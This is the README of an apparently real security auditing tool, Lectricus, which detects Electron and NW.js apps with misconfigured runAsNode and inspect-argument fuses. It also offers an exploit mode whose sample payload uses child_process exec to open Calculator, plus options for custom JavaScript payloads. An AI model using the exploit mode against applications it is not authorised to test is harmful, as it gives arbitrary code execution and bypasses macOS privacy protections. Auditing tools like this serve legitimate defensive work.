lectricus 0.0.1

Electron and NWJS Vulnerability Detection Utility

Project Lectricus

Python-based library for programmatically detecting potentially misconfigured Electron applications, specifically the runAsNode and enableNodeCliInspectArguments fuses allowing arbitrary code execution within the context of the application.

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First unveiled at MacDevOpsYVR 2024: Electron Security: Making your Mac a worse place?

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This project is primarily designed for auditing purposes, starting as a side project after learning about @tsunek0h's CVE-2023-32546 and later on extending the initial work of Wojciech Reguła's electroniz3r:

• Programmatic fuse configuration detection
• Multi-platform support (macOS, Windows, Linux)
• Exporting of vulnerable applications to various formats (XML, JSON, CSV, etc.)
• Developed as a library, for easy integration into other projects
• Targets both Electron and NW.js applications
• Simple macOS GUI for non-technical users

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Since the initial conception of Lectricus in late 2023, Electron has released a statement on Electron's runAsNode fuse: Statement regarding "runAsNode" CVEs

Do keep in mind that Electron does not discuss the TCC bypasses that the misconfigured Electron fuses cause.

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Installation

For standalone executables, see GitHub Releases.

For Python-based installation of the Python library, Lectricus is available on PyPI:

$ python3 -m pip install lectricus

Usage - GUI

Simply run Lectricus (GUI).app on macOS, and select List vulnerable electron applications to get a list of vulnerable applications.

First window	List applications

Usage - Command Line

List Vulnerable Applications

$ lectricus --list-vulnerable-apps

>>> Found 4 vulnerable applications 😱
>>> Correctly Configured Electron Fuses:
>>>   - /Applications/1Password.app
>>>   - /Applications/Keeper Password Manager.app
>>>   - /Applications/Slack.app
>>> Lacking Electron Fuse Support:
>>>   - /Applications/Advanced Privacy.app
>>>     - Vulnerabilities:
>>>       - RUN_AS_NODE
>>>       - ENABLE_NODE_CLI_INSPECT_ARGUMENTS
>>> Misconfigured Electron Fuses:
>>>   - /Applications/Tap Trustee.app
>>>     - Vulnerabilities:
>>>       - RUN_AS_NODE
>>>       - ENABLE_NODE_CLI_INSPECT_ARGUMENTS
>>>   - /Applications/Affected Makeup.app
>>>     - Vulnerabilities:
>>>       - ENABLE_NODE_CLI_INSPECT_ARGUMENTS
>>>   - /Applications/Struck Cap.app
>>>     - Vulnerabilities:
>>>       - RUN_AS_NODE
>>>       - ENABLE_NODE_CLI_INSPECT_ARGUMENTS

Attempt Arbitrary Code Execution

$ lectricus.py --exploit-application "/Applications/Advanced Privacy.app"

>>> Selected exploit method: run_as_node
>>> Determined entry point: /Applications/Advanced Privacy.app/Contents/MacOS/Advanced Privacy
>>> Running exploit on /Applications/Advanced Privacy.app/Contents/MacOS/Advanced Privacy
>>> JavaScript payload: const { exec } = require("child_process"); exec("/usr/bin/open -a Calculator");

Command Line Parameters

Detect and exploit misconfigured Electron applications

options:
  -h, --help            show this help message and exit
  --list-vulnerable-apps, -l
                        List vulnerable applications
  --export, -e          Export vulnerable applications, if '--export-location' is not specified, export to STDOUT
  --format FORMAT, -f FORMAT
                        Export format (xml, plist, json, csv)
  --export-location EXPORT_LOCATION, -o EXPORT_LOCATION
                        Export location
  --app-directory APP_DIRECTORY, -d APP_DIRECTORY
                        Application directory to search. Can provide .app directly
  --sys-platform SYS_PLATFORM, -p SYS_PLATFORM
                        Override sys.platform value used for application search. Useful for cross-platform exploitation on external
                        drives.
  --exploit-application EXPLOIT_APPLICATION, -x EXPLOIT_APPLICATION
                        Application to exploit.
  --exploit-method EXPLOIT_METHOD, -m EXPLOIT_METHOD
                        Exploit method to use.
  --javascript-payload JAVASCRIPT_PAYLOAD, -j JAVASCRIPT_PAYLOAD
                        JavaScript payload to execute. If not specified, open
                        Calculator on macOS.
  --javascript-payload-file JAVASCRIPT_PAYLOAD_FILE, -J JAVASCRIPT_PAYLOAD_FILE
                        JavaScript payload file to execute. Alternative to '--
                        javascript-payload'.